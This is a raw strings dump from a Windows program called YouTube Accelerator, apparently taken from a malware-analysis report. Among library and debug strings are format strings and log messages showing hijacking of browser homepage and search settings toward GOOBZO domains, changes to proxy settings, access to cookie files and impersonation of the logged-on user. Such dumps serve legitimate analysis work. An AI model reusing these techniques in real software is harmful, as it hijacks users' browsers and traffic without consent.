f:\dd\vctools\crt_bld\self_x86\crt\src\xtoa.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtod.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_cmp.c

("Invalid MBCS character sequence passed to strftime",0)

("Invalid MBCS character sequence passed into strftime",0)

f:\dd\vctools\crt_bld\self_x86\crt\src\memcpy_s.c

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), error_text)

wcscat_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"\n\n")

wcscpy_s(outmsg, (sizeof(outmsg) / sizeof(outmsg[0])), L"Runtime Error!\n\nProgram: ")

_NMSG_WRITE

f:\dd\vctools\crt_bld\self_x86\crt\src\crt0msg.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\eh\typname.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c

strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")

strcpy_s(szExeName, 260, "<program name unknown>")

__crtMessageWindowA

f:\dd\vctools\crt_bld\self_x86\crt\src\expand.c

f:\dd\vctools\crt_bld\self_x86\crt\src\localref.c

((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) || ((ptloci->lc_category[category].wlocale == NULL) && (ptloci->lc_category[category].wrefcount == NULL))

KERNEL32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\isctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_open.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_filbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fileno.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c

wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")

strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportA

strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")

wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

_VCrtDbgReportW

f:\dd\vctools\crt_bld\self_x86\crt\src\winsig.c

WUSER32.DLL

f:\dd\vctools\crt_bld\self_x86\crt\src\close.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_freebuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstok_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\strtoq.c

f:\dd\vctools\crt_bld\self_x86\crt\src\intel\fp8.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cvt.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsbtype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\write.c

f:\dd\vctools\crt_bld\self_x86\crt\src\commit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\timeset.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\include\strgtold12.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\lseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fstat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\open.c

0 && "Only UTF-16 little endian & UTF-8 is supported for reads"

f:\dd\vctools\crt_bld\self_x86\crt\src\dtoxtm64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbscspn.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fullpath.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getqloc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\errmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\lseeki64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\isatty.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wctomb.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbicm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbstowcs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\vswprint.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbtowc.c

_loc_update.GetLocaleT()->locinfo->mb_cur_max == 1 || _loc_update.GetLocaleT()->locinfo->mb_cur_max == 2

f:\dd\vctools\crt_bld\self_x86\crt\src\strtok_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\tran\contrlfp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_fptostr.c

strcpy_s(resultstr, resultsize, autofos.man)

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ungetc_nolock.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\setmode.c

f:\dd\vctools\crt_bld\self_x86\crt\src\getcwd.c

f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\x10fout.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbico.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicol.c

("CRT Logic error during setenv",0)

__crtsetenv

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISubject *,class ISubject *,struct std::less<class ISubject *>,class std::allocator<struct std::pair<class ISubject * const,class ISubject *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,struct ChangeManager::RegistrationDetails *,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,struct ChangeManager::RegistrationDetails *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<struct HKEY__ *,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<struct HKEY__ *>,class std::allocator<struct std::pair<struct HKEY__ * const,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --

\\.\jsdrv1463

stproxy.cpp

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xstring

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\list

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator ==

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\vector

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xtree

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator --

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct json::Reader::Token,class std::allocator<struct json::Reader::Token> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator *

std::_List_const_iterator<class std::_List_val<struct json::Object::Member,class std::allocator<struct json::Object::Member> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator  =

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\algorithm

invalid operator<

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator --

gstd::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator --

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\memory

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator

YouTubeAccelerator.exe_3948:

.text

`.rdata

@.data

.text1

.adata

.data1

.pdata

.rsrc

uh9.tZ

otuh9.tZ

tZ9.tB

tV9.tB

l$$9.tZ

ub9.tM

@ SSh

SSSSh

D$<9.tZ

\9.tB

D$`9.tZ

FTPj

t#WSSh

D$(PSSh

s%j.Zf

tGHt.Ht&

%a,%d-%b-%Y %H:%M:%S

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

spCmd

3.3.9.4

<img src="images/v4.gif" alt="" />

<img src="images/v3.gif" alt="" />

user32.dll

CWebBrowser2

CNotSupportedException

hhctrl.ocx

CCmdTarget

KERNEL32.DLL

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

OLEACC.dll

c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release_Unicode\YouTubeAcceleratorU.pdb

VERSION.dll

KERNEL32.dll

USER32.dll

GDI32.dll

COMDLG32.dll

WINSPOOL.DRV

ADVAPI32.dll

SHELL32.dll

COMCTL32.dll

SHLWAPI.dll

oledlg.dll

ole32.dll

OLEAUT32.dll

WININET.dll

WS2_32.dll

USERENV.dll

PSAPI.DLL

.?AVCCmdTarget@@

.PAVCException@@

.?AVCWebWindow@@

.?AVCHttp@@

.?AVCHttpAsync@@

.?AVCExecuteUpdate@@

.?AVCExitWindows@@

.?AVIHttpEngineConfiguration@@

.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@

.?AVHttpEngineConfiguration@@

.?AVIPipeEventsThread@@

.?AVCSLogReportEventThread@@

.?AVCPipeEventThread@@

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

<>"#{}|\^~[]`' ?&

.?AVCSABaseWebWindow@@

.?AVCSANotifierWebWindow@@

.?AVCSAWebWindow@@

.PAVCMemoryException@@

.?AVCWebBrowser2@@

.?AVCWebForm@@

.?AVCWebElement@@

.?AVCWebInput@@

.?AVCWebAnchor@@

.?AVCWebDiv@@

.?AVCWebCheckBox@@

.PAVCSimpleException@@

.PAVCObject@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.?AVCNotSupportedException@@

.PAVCOleException@@

.PAVCResourceException@@

.PAVCUserException@@

.?AVCTestCmdUI@@

.?AVCCmdUI@@

.PAVCOleDispatchException@@

.PAVCArchiveException@@

.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@

.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@

.PAVCFileException@@

zcÁ

aSSSh

FTPjK

FtPj;

C.PjRV

]@ ]( ]8

FTPQ

.?AVunsupported_thread_option@boost@@

SetProcessShutdownParameters

kernel32.dll

COMCTL32.DLL

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

Required USB Key not found

Failed to execute target process

Cannot find import; DLL may be missing, corrupt, or wrong version

File "%s", function "%s"

File "%s", ordinal %d

File "%s", error %d

(Error code %d)

%X:DAF

(Location XEB, error code %d)

_PAD%d

RNX

%X::DAX

.DbgLog

GetWindowsDirectoryW

CreateDialogIndirectParamW

Kernel32.dll

User32.dll

ComDlg32.dll

1.2.3

EXCEPTION_FLT_INVALID_OPERATION

EXCEPTION_FLT_DENORMAL_OPERAND

boost::unsupported_thread_option

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

.mixcrt

ADVAPI32.DLL

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator-2.DbgLog

%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe

GetWindowsDirectoryA

EnumThreadWindows

EnumWindows

CreateDialogIndirectParamA

GetAsyncKeyState

comdlg32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

^.Ad/

.Zvv[

j%FwL

e.tu/

5%up/

A.YNpN\n

%Um-IF

.BV$L|

%X1:S

`?T%Sj

%x@k4

.iyDY

j.Wsf

Cr.BxL

V.Fb7|

$"bM-Q}n

%x R\X

4%sPp

_%S3@

.LvHT

.owm;y,

}R.zmA

.bi@{

>I|.pt|d

t_\A

p}.GF

G){.mf

.xh$x

U.gs!

J|0.tL

.iJp`

.zE:aG

.7%Xs

-DED%xFqz

%cnzb

%UQzss

1%.Ey\=

/\%Dg

.FlC\5

.cA~;

P?=I_.or\

E.yb|4

%SuSw

T.UHuR

.sq>9

.US?g#

~}.LRy

c.dQ7

ZcMD

@U|

I%S5E

$tTH2.yN"

iZ.ixY

L/%X=

2Ag{%c

v..jv

0\.Hc

v.Wj-

Tcrt

F.gj]

y.jxU

%cl%[

%X_`h

~L.DTh

).Zi0

.TOmY

n^5.fT

WB.Bp

.FuB3

]A]%U

.MAFEz

|SM

.UoZ}

%Xjv6

.Rw.J

u^.aO!

?*.LO!

,^.ew

|%f;.)

kB.hR

%>.zv

.kif;

^__:;;,,,~

9:;556011---

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

%s (%s:%d)

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\afxwin1.inl

JhXXp://@BRAND_ID@.@[email protected]/support/video-sites

hXXp://@BRAND_ID@.@[email protected]/buy/hd/

hXXp://wiki.@[email protected]/doku.php?id=va:start

%s?OEM=%s

hXXp://VVV.@[email protected]

hXXp://@BRAND_ID@.@[email protected]/legal/license

blank.html

hXXp://VVV.@[email protected]/legal/privacy

[CAcceleratorEventsData::OnDeserialize] ___Error get URL

@CActivationBrowser::OnBeforeNavigate : url = %s

CActivationBrowser::OnNavigateComplete : url = %s

CActivationBrowser::OnNavigateError : url = %s

Res.dll

CActivationBrowser::SetMetaData GOT 'OPEN_URL'

OPEN_URL

CActivationBrowser::SetMetaData GOT 'ACTIVATION_BACK_URL'

ACTIVATION_BACK_URL

activation_offline.mht

%X%X%X

hXXp://client.@[email protected]/clientva/Activation.aspx

CActivationBrowser::OnDocumentComplete : url = %s

ipc.dll

\\.\pipe\GOOBZO_VAPIPESERVERENG

LastNum%d

LastID%d

\\.\pipe\GOOBZO_VAPIPESERVERUI

CBrowserSettings::RegisterDLL - LoadLibrary() Failed: %s

CBrowserSettings::RegisterDLL %s

%s = %s; expires = %s

%a,%d-%b-%Y %H:%M:%S GMT

2prefs.js

profiles.ini

profile%d

Mozilla\Firefox\

cookies.txt

Software\Microsoft\Internet Explorer\AboutURLs

user_pref("keyword.URL", "%s");

Use Custom Search URL

DefaultSearchURL

SBSearch.dll

SearchURL

Web Search

user_pref("browser.startup.homepage","%s");

restore.GOOBZO.com

hXXp://search.GOOBZO.com

search.GOOBZO.com

%d-%b-%Y

hXXp://restore.GOOBZO.com

user_pref("browser.startup.homepage",

HTTP/1.0

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

HTTP/1.1

Content-Type: multipart/form-data; boundary=%s

Content-Disposition: form-data; name="%s"

XXX

[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d

[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d

test.youtubeaccelerator.com

hXXp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=%d&mode=%s

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CCommTest::SetEngineMode] %d

vaproxy.pac

[CCommTest::StartServiceTest] ___Error Default EngineMode = %d !!!

[CCommTest::StartGuiTest] ___Error to create VACommTest process. LE: %d

testlsp.exe

[CCommTest::ProcessNextState] ___Error State = %d !!!

[CCommTestDlg::KillAllTimers] m_ConnectivityCheckTimer Timer: %d

[CCommTestDlg::ResetConnectionTimer] SetTimer: %d

[CCommTestDlg::ResetConnectivityCheckTimer] SetTimer: %d

CCommTestDlg::OnTimer() - m_ConnectionTestFailedTimer: %d

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

showitunesMsg

DontShowAccelerationNotSupported

lastiTunesMsgTime

ManualProxyPort

[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d

[CConfig::IsLastTestingSucceeded] XML - Status = %d

[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)

[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)

[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)

[CConfig::IsTestingMode] TestingMode = %d (XML)

[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)

[CConfig::SetTestingMode] TestingMode = %d (XML)

[CConfig::GetBrandPort] BrandPort = %d

br_port

CConfig::SetCurrentUserKey

ReportCommFailed

[CConfig::SetSendLogFiles] Status = %d

[CConfig::SetSendInstLogFileOnly] Status = %d

[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CConfig::SetTracerOff] ___Error GetRegistryKeys

[CConfig::SetBackup] ___Error GetRegistryKeys

[CConfig::SetBackup] Status = %d

[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list

[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list

[CConfig::IsXBoxMode] Status = %d

[CConfig::SetTracerOn] ___Error GetRegistryKeys

[CConfig::SetTracer] Status = %d

B%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

[CCoreConfig::InitConfig] Product Name %s UseRegistry %d

You are using %s - Translated by:

[CFileResource::Load] ___Error SizeofResource: %d

[CFileResource::Load] ___Error LockResource: %d

[CFileResource::Load] ___Error LoadResource: %d

[CFileResource::Load] ___Error FindResource: %d

[CFileResource::Load] %s

[CFileResource::Extract] ___Error Write: %d

[CFileResource::Extract] ___Error Create: %d

[CFileResource::Extract] %s

[CFileResource::ExtractAll] ___Error ExtractResourceFromList: %x

[CFileResource::ExtractAll] ___Error EnumResourceTypes: %d

ListenPort

[EngineConfiguration::GetCurrentUserKey] User Key: %X

[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

HttpRedirectProxyPort

HttpRedirectProxyDomain

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

B[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

B[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd

[CExecuteUpdate::OnDeserialize] ___Error get m_Directory

[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters

[CExecuteUpdate::OnDeserialize] ___Error get m_Operation

[CExecuteUpdate::OnDeserialize] ___Error get m_File

[CExecuteUpdate::RunUpdate] ___Error ShellExecute: %s, Faild: %d

http_port

user.js

user_pref("network.proxy.

autoconfig_url

Windows XP Firewall (ICF)

SOFTWARE\McAfee.com\Personal Firewall

DAP.EXE

Windows Security Alert

%d.%d.%d.%d

HttpHandleAll

HttpWorkerBufferLimit

HttpListenPort

HttpListenIP

.html

\winhlp32.exe

[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d

[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s

[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d

[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d

[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL

[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p

[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d

http=

[CIEInternetProxySettings::Save] %s - %s = %s

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

